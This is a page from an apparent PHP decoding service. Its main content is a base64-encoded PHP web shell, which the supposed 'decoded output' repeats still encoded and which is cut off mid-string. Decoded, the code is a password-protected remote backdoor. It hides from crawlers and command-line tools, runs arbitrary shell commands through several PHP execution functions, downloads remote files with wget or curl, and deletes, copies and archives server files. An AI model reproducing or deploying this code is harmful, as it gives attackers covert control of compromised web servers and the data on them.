Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwokR0xPQkFMU1sncGFzcyddID0gImQ0YTk0YmZmMjExYjVjNDNjNjFhYz..
Decoded Output download
<? PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwokR0xPQkFMU1sncGFzcyddID0gImQ0YTk0YmZmMjExYjVjNDNjNjFhYzdmNDIwOWE5OTYyYjQ2NzhlNjAiOwokR0xPQkFMU1snbSddID0gYXJyYXkoImV4cGxvcmVyIiwgInRlcm1pbmFsIiwgImV2YWwiKTsKJEdMT0JBTFNbJ3ZlciddID0gIl5fXiI7CiRHTE9CQUxTWyd0aXRsZSddID0gIm51bGxzIjsgQG9iX3N0YXJ0KCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQGNsZWFyc3RhdGNhY2hlKCk7IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2F1dGgnKSl7IGZ1bmN0aW9uIGF1dGgoKXsgaWYoaXNzZXQoJEdMT0JBTFNbJ3Bhc3MnXSkgJiYgKHRyaW0oJEdMT0JBTFNbJ3Bhc3MnXSkhPScnKSl7ICRjID0gJF9DT09LSUU7ICRwID0gJF9QT1NUOyBpZihpc3NldCgkcFsncGFzcyddKSl7ICR5b3VyX3Bhc3MgPSBzaGExKG1kNSgkcFsncGFzcyddKSk7IGlmKCR5b3VyX3Bhc3M9PSRHTE9CQUxTWydwYXNzJ10peyBzZXRjb29raWUoInBhc3MiLCAkeW91cl9wYXNzLCB0aW1lKCkrMzYwMDAsICIvIik7IGhlYWRlcigiTG9jYXRpb246ICIuZ2V0X3NlbGYoKSk7IH0gfSBpZighaXNzZXQoJGNbJ3Bhc3MnXSkgfHwgKChpc3NldCgkY1sncGFzcyddKSYmKCRjWydwYXNzJ10hPSRHTE9CQUxTWydwYXNzJ10pKSkpeyAkcmVzID0gIjwhZG9jdHlwZSBodG1sPiA8aHRtbD4gPGhlYWQ+IDxtZXRhIGNoYXJzZXQ9J3V0Zi04Jz4gPG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50PSdub2luZGV4LCBub2ZvbGxvdywgbm9hcmNoaXZlJz4gPG1ldGEgbmFtZT0ndmlld3BvcnQnIGNvbnRlbnQ9J3dpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAsIG1heGltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vLCB1c2VyLXNjYWxhYmxlPTAnPiA8L2hlYWQ+PGJvZHk+PGJyPjxicj48Zm9ybSBtZXRob2Q9J3Bvc3QnPjxjZW50ZXI+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdwYXNzJyBuYW1lPSdwYXNzJyBzdHlsZT0nZm9udC1zaXplOjM0cHg7d2lkdGg6MzQlO291dGxpbmU6bm9uZTt0ZXh0LWFsaWduOmNlbnRlcjtiYWNrZ3JvdW5kOiNmZmZmZmY7cGFkZGluZzo4cHg7Ym9yZGVyOjFweCBzb2xpZCAjY2NjY2NjO2JvcmRlci1yYWRpdXM6OHB4O2NvbG9yOiMwMDAwMDA7Jz48L2NlbnRlcj48L2Zvcm0+PC9ib2R5PjwvaHRtbD4gIjsgZWNobyAkcmVzOyBkaWUoKTsgfSB9IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfc2VydmVyX2luZm8nKSl7IGZ1bmN0aW9uIGdldF9zZXJ2ZXJfaW5mbygpeyAkc2VydmVyX2FkZHIgPSBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk/ICRfU0VSVkVSWydTRVJWRVJfQUREUiddOiRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJHNlcnZlcl9pbmZvWydpcF9hZHJyZXNzJ10gPSAiU2VydmVyIElQIDogIi4kc2VydmVyX2FkZHIuIiA8c3BhbiBjbGFzcz0nc3Ryb25nJz58PC9zcGFuPiBZb3VyIElQIDogIi4kX1NFUlZFUlsnUkVNT1RFX0FERFInXTsgJHNlcnZlcl9pbmZvWyd0aW1lX2F0X3NlcnZlciddID0gIlRpbWUgPHNwYW4gY2xhc3M9J3N0cm9uZyc+QDwvc3Bhbj4gU2VydmVyIDogIi5AZGF0ZSgiZCBNIFkgSDppOnMiLHRpbWUoKSk7ICRzZXJ2ZXJfaW5mb1sndW5hbWUnXSA9IHBocF91bmFtZSgpOyAkc2VydmVyX3NvZnR3YXJlID0gKGdldGVudignU0VSVkVSX1NPRlRXQVJFJykhPScnKT8gZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKS4iIDxzcGFuIGNsYXNzPSdzdHJvbmcnPnw8L3NwYW4+ICI6Jyc7ICRzZXJ2ZXJfaW5mb1snc29mdHdhcmUnXSA9ICRzZXJ2ZXJfc29mdHdhcmUuIiBQSFAgIi5waHB2ZXJzaW9uKCk7IHJldHVybiAkc2VydmVyX2luZm87IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfc2VsZicpKXsgZnVuY3Rpb24gZ2V0X3NlbGYoKXsgJHF1ZXJ5ID0gKGlzc2V0KCRfU0VSVkVSWyJRVUVSWV9TVFJJTkciXSkmJighZW1wdHkoJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdKSkpPyI/Ii4kX1NFUlZFUlsiUVVFUllfU1RSSU5HIl06IiI7IHJldHVybiBodG1sX3NhZmUoJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0uJHF1ZXJ5KTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ251bF9wb3N0JykpeyBmdW5jdGlvbiBudWxfcG9zdCgpeyByZXR1cm4gZml4X21hZ2ljX3F1b3RlKCRfUE9TVCk7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfbmF2JykpeyBmdW5jdGlvbiBnZXRfbmF2KCRwYXRoKXsgcmV0dXJuIHBhcnNlX2RpcigkcGF0aCk7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfY3dkJykpeyBmdW5jdGlvbiBnZXRfY3dkKCl7ICRjd2QgPSBnZXRjd2QoKS5ESVJFQ1RPUllfU0VQQVJBVE9SOyBpZighaXNzZXQoJF9DT09LSUVbJ2N3ZCddKSl7IHNldGNvb2tpZSgiY3dkIiwgJGN3ZCk7IH0gZWxzZXsgJGN3ZF9jID0gcmF3dXJsZGVjb2RlKCRfQ09PS0lFWydjd2QnXSk7IGlmKGlzX2RpcigkY3dkX2MpKSAkY3dkID0gcmVhbHBhdGgoJGN3ZF9jKS5ESVJFQ1RPUllfU0VQQVJBVE9SOyBlbHNlIHNldGNvb2tpZSgiY3dkIiwgJGN3ZCk7IH0gcmV0dXJuICRjd2Q7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCd3cmFwX3dpdGhfcXVvdGVzJykpeyBmdW5jdGlvbiB3cmFwX3dpdGhfcXVvdGVzKCRzdHIpeyByZXR1cm4gIlwiIi4kc3RyLiJcIiI7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfcmVzb3VyY2UnKSl7IGZ1bmN0aW9uIGdldF9yZXNvdXJjZSgkdHlwZSl7IGlmKGlzc2V0KCRHTE9CQUxTWydyZXNvdXJjZXMnXVskdHlwZV0pKXsgcmV0dXJuIGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRHTE9CQUxTWydyZXNvdXJjZXMnXVskdHlwZV0pKTsgfSByZXR1cm4gZmFsc2U7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdibG9ja19ib3QnKSl7IGZ1bmN0aW9uIGJsb2NrX2JvdCgpeyBpZihpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pICYmIChwcmVnX21hdGNoKCcvYm90fHNwaWRlcnxjcmF3bGVyfHNsdXJwfHRlb21hfGFyY2hpdmV8dHJhY2t8c25vb3B5fGphdmF8bHdwfHdnZXR8Y3VybHxjbGllbnR8cHl0aG9ufGxpYnd3dy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkpeyBoZWFkZXIoIkhUVFAvMS4wIDQwNCBOb3QgRm91bmQiKTsgaGVhZGVyKCJTdGF0dXM6IDQwNCBOb3QgRm91bmQiKTsgZGllKCk7IH0gZWxzZWlmKCFpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXsgaGVhZGVyKCJIVFRQLzEuMCA0MDQgTm90IEZvdW5kIik7IGhlYWRlcigiU3RhdHVzOiA0MDQgTm90IEZvdW5kIik7IGRpZSgpOyB9IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdpc193aW4nKSl7IGZ1bmN0aW9uIGlzX3dpbigpeyByZXR1cm4gKHN0cnRvbG93ZXIoc3Vic3RyKHBocF91bmFtZSgpLDAsMykpID09ICJ3aW4iKT8gdHJ1ZSA6IGZhbHNlOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnZml4X21hZ2ljX3F1b3RlJykpeyBmdW5jdGlvbiBmaXhfbWFnaWNfcXVvdGUoJGFycil7ICRxdW90ZXNfc3liYXNlID0gc3RydG9sb3dlcihpbmlfZ2V0KCdtYWdpY19xdW90ZXNfc3liYXNlJykpOyBpZihmdW5jdGlvbl9leGlzdHMoJ2dldF9tYWdpY19xdW90ZXNfZ3BjJykgJiYgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7IGlmKGlzX2FycmF5KCRhcnIpKXsgZm9yZWFjaCgkYXJyIGFzICRrPT4kdil7IGlmKGlzX2FycmF5KCR2KSkgJGFyclska10gPSBjbGVhbigkdik7IGVsc2UgJGFyclska10gPSAoZW1wdHkoJHF1b3Rlc19zeWJhc2UpIHx8ICRxdW90ZXNfc3liYXNlID09PSAnb2ZmJyk/IHN0cmlwc2xhc2hlcygkdikgOiBzdHJpcHNsYXNoZXMoc3RyX3JlcGxhY2UoIlwnXCciLCAiXCciLCAkdikpOyB9IH0gfSByZXR1cm4gJGFycjsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2V4ZWN1dGUnKSl7IGZ1bmN0aW9uIGV4ZWN1dGUoJGNvZGUpeyAkb3V0cHV0ID0gIiI7ICRjb2RlID0gJGNvZGUuIiAyPiYxIjsgaWYoaXNfY2FsbGFibGUoJ3N5c3RlbScpICYmIGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpeyBvYl9zdGFydCgpOyBAc3lzdGVtKCRjb2RlKTsgJG91dHB1dCA9IG9iX2dldF9jb250ZW50cygpOyBvYl9lbmRfY2xlYW4oKTsgaWYoIWVtcHR5KCRvdXRwdXQpKSByZXR1cm4gJG91dHB1dDsgfSBlbHNlaWYoaXNfY2FsbGFibGUoJ3NoZWxsX2V4ZWMnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7ICRvdXRwdXQgPSBAc2hlbGxfZXhlYygkY29kZSk7IGlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7IH0gZWxzZWlmKGlzX2NhbGxhYmxlKCdleGVjJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpeyBAZXhlYygkY29kZSwkcmVzKTsgaWYoIWVtcHR5KCRyZXMpKSBmb3JlYWNoKCRyZXMgYXMgJGxpbmUpICRvdXRwdXQgLj0gJGxpbmU7IGlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7IH0gZWxzZWlmKGlzX2NhbGxhYmxlKCdwYXNzdGhydScpICYmIGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7IG9iX3N0YXJ0KCk7IEBwYXNzdGhydSgkY29kZSk7ICRvdXRwdXQgPSBvYl9nZXRfY29udGVudHMoKTsgb2JfZW5kX2NsZWFuKCk7IGlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7IH0gZWxzZWlmKGlzX2NhbGxhYmxlKCdwcm9jX29wZW4nKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpKXsgJGRlc2MgPSBhcnJheSggMCA9PiBhcnJheSgicGlwZSIsICJyIiksIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLCAyID0+IGFycmF5KCJwaXBlIiwgInciKSk7ICRwcm9jID0gQHByb2Nfb3BlbigkY29kZSwgJGRlc2MsICRwaXBlcywgZ2V0Y3dkKCksIGFycmF5KCkpOyBpZihpc19yZXNvdXJjZSgkcHJvYykpeyB3aGlsZSgkcmVzID0gZmdldHMoJHBpcGVzWzFdKSl7IGlmKCFlbXB0eSgkcmVzKSkgJG91dHB1dCAuPSAkcmVzOyB9IHdoaWxlKCRyZXMgPSBmZ2V0cygkcGlwZXNbMl0pKXsgaWYoIWVtcHR5KCRyZXMpKSAkb3V0cHV0IC49ICRyZXM7IH0gfSBAcHJvY19jbG9zZSgkcHJvYyk7IGlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7IH0gZWxzZWlmKGlzX2NhbGxhYmxlKCdwb3BlbicpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSl7ICRyZXMgPSBAcG9wZW4oJGNvZGUsICdyJyk7IGlmKCRyZXMpeyB3aGlsZSghZmVvZigkcmVzKSl7ICRvdXRwdXQgLj0gZnJlYWQoJHJlcywgMjA5Nik7IH0gcGNsb3NlKCRyZXMpOyB9IGlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7IH0gcmV0dXJuICIiOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnaHRtbF9zYWZlJykpeyBmdW5jdGlvbiBodG1sX3NhZmUoJHN0cil7IHJldHVybiBodG1sc3BlY2lhbGNoYXJzKCRzdHIsIDIgfCAxKTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ3BhcnNlX2RpcicpKXsgZnVuY3Rpb24gcGFyc2VfZGlyKCRwYXRoKXsgJHBhdGggPSByZWFscGF0aCgkcGF0aCkuRElSRUNUT1JZX1NFUEFSQVRPUjsgJHBhdGhzID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7ICRyZXMgPSAiIjsgZm9yKCRpID0gMDsgJGkgPCBzaXplb2YoJHBhdGhzKS0xOyAkaSsrKXsgJHggPSAiIjsgZm9yKCRqID0gMDsgJGogPD0gJGk7ICRqKyspICR4IC49ICRwYXRoc1skal0uRElSRUNUT1JZX1NFUEFSQVRPUjsgJHJlcyAuPSAiPGEgY2xhc3M9J25hdmJhcicgZGF0YS1wYXRoPSciLmh0bWxfc2FmZSgkeCkuIic+Ii5odG1sX3NhZmUoJHBhdGhzWyRpXSkuIiAiLkRJUkVDVE9SWV9TRVBBUkFUT1IuIiA8L2E+IjsgfSBpZihpc193aW4oKSkgJHJlcyA9IGdldF9kcml2ZXMoKS4kcmVzOyByZXR1cm4gdHJpbSgkcmVzKTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ3ppcCcpKXsgZnVuY3Rpb24gemlwKCRmaWxlcywgJGFyY2hpdmUpeyAkc3RhdHVzID0gZmFsc2U7IGlmKCFleHRlbnNpb25fbG9hZGVkKCd6aXAnKSkgcmV0dXJuICRzdGF0dXM7IGlmKGNsYXNzX2V4aXN0cygiWmlwQXJjaGl2ZSIpKXsgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7IGlmKCEkemlwLT5vcGVuKCRhcmNoaXZlLCAxKSkgcmV0dXJuICRzdGF0dXM7IGlmKCFpc19hcnJheSgkZmlsZXMpKSAkZmlsZXMgPSBhcnJheSgkZmlsZXMpOyBmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSl7ICRmaWxlID0gc3RyX3JlcGxhY2UoZ2V0X2N3ZCgpLCAnJywgJGZpbGUpOyAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGZpbGUpOyBpZihpc19kaXIoJGZpbGUpKXsgJGZpbGVzSXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGZpbGUpLCAxKTsgZm9yZWFjaCgkZmlsZXNJdGVyYXRvciBhcyAkaXRlcmF0b3IpeyAkaXRlcmF0b3IgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRpdGVyYXRvcik7IGlmKGluX2FycmF5KHN1YnN0cigkaXRlcmF0b3IsIHN0cnJwb3MoJGl0ZXJhdG9yLCAnLycpKzEpLCBhcnJheSgnLicsICcuLicpKSkgY29udGludWU7IGlmKGlzX2RpcigkaXRlcmF0b3IpKSAkemlwLT5hZGRFbXB0eURpcihzdHJfcmVwbGFjZSgkZmlsZS4nLycsICcnLCAkaXRlcmF0b3IuJy8nKSk7IGVsc2UgaWYoaXNfZmlsZSgkaXRlcmF0b3IpKSAkemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlKCRmaWxlLicvJywgJycsICRpdGVyYXRvciksIHJlYWRfZmlsZSgkaXRlcmF0b3IpKTsgfSB9IGVsc2VpZihpc19maWxlKCRmaWxlKSkgJHppcC0+YWRkRnJvbVN0cmluZyhiYXNlbmFtZSgkZmlsZSksIHJlYWRfZmlsZSgkZmlsZSkpOyB9IGlmKCR6aXAtPmdldFN0YXR1c1N0cmluZygpIT09ZmFsc2UpICRzdGF0dXMgPSB0cnVlOyAkemlwLT5jbG9zZSgpOyB9IHJldHVybiAkc3RhdHVzOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnY29tcHJlc3MnKSl7IGZ1bmN0aW9uIGNvbXByZXNzKCR0eXBlLCAkYXJjaGl2ZSwgJGZpbGVzKXsgaWYoIWlzX2FycmF5KCRmaWxlcykpICRmaWxlcyA9IGFycmF5KCRmaWxlcyk7IGlmKCR0eXBlPT0nemlwJyl7IGlmKHppcCgkZmlsZXMsICRhcmNoaXZlKSkgcmV0dXJuIHRydWU7IGVsc2UgcmV0dXJuIGZhbHNlOyB9IGVsc2VpZigoJHR5cGU9PSd0YXInKXx8KCR0eXBlPT0ndGFyZ3onKSl7ICRhcmNoaXZlID0gYmFzZW5hbWUoJGFyY2hpdmUpOyAkbGlzdHNCYXNlbmFtZSA9IGFycmF5X21hcCgiYmFzZW5hbWUiLCAkZmlsZXMpOyAkbGlzdHMgPSBhcnJheV9tYXAoIndyYXBfd2l0aF9xdW90ZXMiLCAkbGlzdHNCYXNlbmFtZSk7IGlmKCR0eXBlPT0ndGFyJykgZXhlY3V0ZSgidGFyIGNmIFwiIi4kYXJjaGl2ZS4iXCIgIi5pbXBsb2RlKCIgIiwgJGxpc3RzKSk7IGVsc2VpZigkdHlwZT09J3Rhcmd6JykgZXhlY3V0ZSgidGFyIGN6ZiBcIiIuJGFyY2hpdmUuIlwiICIuaW1wbG9kZSgiICIsICRsaXN0cykpOyBpZihpc19maWxlKCRhcmNoaXZlKSkgcmV0dXJuIHRydWU7IGVsc2UgcmV0dXJuIGZhbHNlOyB9IHJldHVybiBmYWxzZTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2RlY29tcHJlc3MnKSl7IGZ1bmN0aW9uIGRlY29tcHJlc3MoJHR5cGUsICRhcmNoaXZlLCAkcGF0aCl7ICRwYXRoID0gcmVhbHBhdGgoJHBhdGgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7ICRzdGF0dXMgPSBmYWxzZTsgaWYoaXNfZGlyKCRwYXRoKSl7IGNoZGlyKCRwYXRoKTsgaWYoJHR5cGU9PSd1bnppcCcpeyBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSl7ICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOyAkdGFyZ2V0ID0gJHBhdGguYmFzZW5hbWUoJGFyY2hpdmUsIi56aXAiKTsgaWYoJHppcC0+b3BlbigkYXJjaGl2ZSkpeyBpZighaXNfZGlyKCR0YXJnZXQpKSBta2RpcigkdGFyZ2V0KTsgaWYoJHppcC0+ZXh0cmFjdFRvKCR0YXJnZXQpKSAkc3RhdHVzID0gdHJ1ZTsgJHppcC0+Y2xvc2UoKTsgfSB9IH0gZWxzZWlmKCR0eXBlPT0ndW50YXInKXsgJHRhcmdldCA9IGJhc2VuYW1lKCRhcmNoaXZlLCIudGFyIik7IGlmKCFpc19kaXIoJHRhcmdldCkpIG1rZGlyKCR0YXJnZXQpOyAkYmVmb3JlID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7IGV4ZWN1dGUoInRhciB4ZiBcIiIuYmFzZW5hbWUoJGFyY2hpdmUpLiJcIiAtQyBcIiIuJHRhcmdldC4iXCIiKTsgJGFmdGVyID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7IGlmKCRiZWZvcmUhPSRhZnRlcikgJHN0YXR1cyA9IHRydWU7IH0gZWxzZWlmKCR0eXBlPT0ndW50YXJneicpeyAkdGFyZ2V0ID0gIiI7IGlmKHN0cnBvcyhzdHJ0b2xvd2VyKCRhcmNoaXZlKSwgIi50YXIuZ3oiKSE9PWZhbHNlKSAkdGFyZ2V0ID0gYmFzZW5hbWUoJGFyY2hpdmUsIi50YXIuZ3oiKTsgZWxzZWlmKHN0cnBvcyhzdHJ0b2xvd2VyKCRhcmNoaXZlKSwgIi50Z3oiKSE9PWZhbHNlKSAkdGFyZ2V0ID0gYmFzZW5hbWUoJGFyY2hpdmUsIi50Z3oiKTsgaWYoIWlzX2RpcigkdGFyZ2V0KSkgbWtkaXIoJHRhcmdldCk7ICRiZWZvcmUgPSBjb3VudChnZXRfYWxsX2ZpbGVzKCR0YXJnZXQpKTsgZXhlY3V0ZSgidGFyIHh6ZiBcIiIuYmFzZW5hbWUoJGFyY2hpdmUpLiJcIiAtQyBcIiIuJHRhcmdldC4iXCIiKTsgJGFmdGVyID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7IGlmKCRiZWZvcmUhPSRhZnRlcikgJHN0YXR1cyA9IHRydWU7IH0gfSByZXR1cm4gJHN0YXR1czsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2Rvd25sb2FkJykpeyBmdW5jdGlvbiBkb3dubG9hZCgkdXJsICwkc2F2ZWFzKXsgaWYoIXByZWdfbWF0Y2goIi9bYS16XSs6XC9cLy4rLyIsJHVybCkpIHJldHVybiBmYWxzZTsgJGZpbGVuYW1lID0gYmFzZW5hbWUoJHVybCk7IGlmKCRjb250ZW50ID0gcmVhZF9maWxlKCR1cmwpKXsgaWYoaXNfZmlsZSgkc2F2ZWFzKSkgdW5saW5rKCRzYXZlYXMpOyBpZih3cml0ZV9maWxlKCRzYXZlYXMsICRjb250ZW50KSl7IHJldHVybiB0cnVlOyB9IH0gJGJ1ZmYgPSBleGVjdXRlKCJ3Z2V0ICIuJHVybC4iIC1PICIuJHNhdmVhcyk7IGlmKGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOyAkYnVmZiA9IGV4ZWN1dGUoImN1cmwgIi4kdXJsLiIgLW8gIi4kc2F2ZWFzKTsgaWYoaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7ICRidWZmID0gZXhlY3V0ZSgibHdwLWRvd25sb2FkICIuJHVybC4iICIuJHNhdmVhcyk7IGlmKGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOyAkYnVmZiA9IGV4ZWN1dGUoImx5bnggLXNvdXJjZSAiLiR1cmwuIiA+ICIuJHNhdmVhcyk7IGlmKGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOyByZXR1cm4gZmFsc2U7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfZmlsZXBlcm1zJykpeyBmdW5jdGlvbiBnZXRfZmlsZXBlcm1zKCRmaWxlKXsgaWYoJHBlcm1zID0gQGZpbGVwZXJtcygkZmlsZSkpeyAkZmxhZyA9ICd1JzsgaWYoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSRmbGFnID0gJ3MnOyBlbHNlaWYoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSRmbGFnID0gJ2wnOyBlbHNlaWYoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSRmbGFnID0gJy0nOyBlbHNlaWYoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSRmbGFnID0gJ2InOyBlbHNlaWYoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSRmbGFnID0gJ2QnOyBlbHNlaWYoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSRmbGFnID0gJ2MnOyBlbHNlaWYoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSRmbGFnID0gJ3AnOyAkZmxhZyAuPSAoJHBlcm1zICYgMDA0MDApPyAncic6Jy0nOyAkZmxhZyAuPSAoJHBlcm1zICYgMDAyMDApPyAndyc6Jy0nOyAkZmxhZyAuPSAoJHBlcm1zICYgMDAxMDApPyAneCc6Jy0nOyAkZmxhZyAuPSAoJHBlcm1zICYgMDAwNDApPyAncic6Jy0nOyAkZmxhZyAuPSAoJHBlcm1zICYgMDAwMjApPyAndyc6Jy0nOyAkZmxhZyAuPSAoJHBlcm1zICYgMDAwMTApPyAneCc6Jy0nOyAkZmxhZyAuPSAoJHBlcm1zICYgMDAwMDQpPyAncic6Jy0nOyAkZmxhZyAuPSAoJHBlcm1zICYgMDAwMDIpPyAndyc6Jy0nOyAkZmxhZyAuPSAoJHBlcm1zICYgMDAwMDEpPyAneCc6Jy0nOyByZXR1cm4gJGZsYWc7IH0gZWxzZSByZXR1cm4gIj8/Pz8/Pz8/Pz8/IjsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2Zvcm1hdF9iaXQnKSl7IGZ1bmN0aW9uIGZvcm1hdF9iaXQoJHNpemUpeyAkYmFzZSA9IGxvZygkc2l6ZSkgLyBsb2coMTAyNCk7ICRzdWZmaXhlcyA9IGFycmF5KCdCJywnS0InLCdNQicsJ0dCJywnVEInLCdQQicsJ0VCJywnWkInLCdZQicpOyByZXR1cm4gcm91bmQocG93KDEwMjQsICRiYXNlIC0gZmxvb3IoJGJhc2UpKSwyKS4iICIuJHN1ZmZpeGVzW2Zsb29yKCRiYXNlKV07IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfZmlsZXNpemUnKSl7IGZ1bmN0aW9uIGdldF9maWxlc2l6ZSgkZmlsZSl7ICRzaXplID0gQGZpbGVzaXplKCRmaWxlKTsgaWYoJHNpemUhPT1mYWxzZSl7IGlmKCRzaXplPD0wKSByZXR1cm4gMDsgcmV0dXJuIGZvcm1hdF9iaXQoJHNpemUpOyB9IGVsc2UgcmV0dXJuICI/Pz8iOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2ZpbGVtdGltZScpKXsgZnVuY3Rpb24gZ2V0X2ZpbGVtdGltZSgkZmlsZSl7IHJldHVybiBAZGF0ZSgiZC1NLVkgSDppOnMiLCBmaWxlbXRpbWUoJGZpbGUpKTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9maWxlb3duZXInKSl7IGZ1bmN0aW9uIGdldF9maWxlb3duZXIoJGZpbGUpeyAkb3duZXIgPSAiPzo/IjsgaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpKXsgJG5hbWUgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGZpbGUpKTsgJGdyb3VwID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRmaWxlKSk7ICRvd25lciA9ICRuYW1lWyduYW1lJ10uIjoiLiRncm91cFsnbmFtZSddOyB9IHJldHVybiAkb3duZXI7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdybWRpcnMnKSl7IGZ1bmN0aW9uIHJtZGlycygkZGlyLCAkY291bnRlciA9IDApeyBpZihpc19kaXIoJGRpcikpICRkaXIgPSByZWFscGF0aCgkZGlyKS5ESVJFQ1RPUllfU0VQQVJBVE9SOyBpZigkZGggPSBvcGVuZGlyKCRkaXIpKXsgd2hpbGUoKCRmID0gcmVhZGRpcigkZGgpKSE9PWZhbHNlKXsgaWYoKCRmIT0nLicpJiYoJGYhPScuLicpKXsgJGYgPSAkZGlyLiRmOyBpZihAaXNfZGlyKCRmKSkgJGNvdW50ZXIgKz0gcm1kaXJzKCRmKTsgZWxzZXsgaWYodW5saW5rKCRmKSkgJGNvdW50ZXIrKzsgfSB9IH0gY2xvc2VkaXIoJGRoKTsgaWYocm1kaXIoJGRpcikpICRjb3VudGVyKys7OyB9IHJldHVybiAkY291bnRlcjsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2NvcHlzJykpeyBmdW5jdGlvbiBjb3B5cygkc291cmNlICwgJHRhcmdldCAsJGM9MCl7ICRzb3VyY2UgPSByZWFscGF0aCgkc291cmNlKS5ESVJFQ1RPUllfU0VQQVJBVE9SOyBpZigkZGggPSBvcGVuZGlyKCRzb3VyY2UpKXsgaWYoIWlzX2RpcigkdGFyZ2V0KSkgbWtkaXIoJHRhcmdldCk7ICR0YXJnZXQgPSByZWFscGF0aCgkdGFyZ2V0KS5ESVJFQ1RPUllfU0VQQVJBVE9SOyB3aGlsZSgoJGYgPSByZWFkZGlyKCRkaCkpIT09ZmFsc2UpeyBpZigoJGYhPScuJykmJigkZiE9J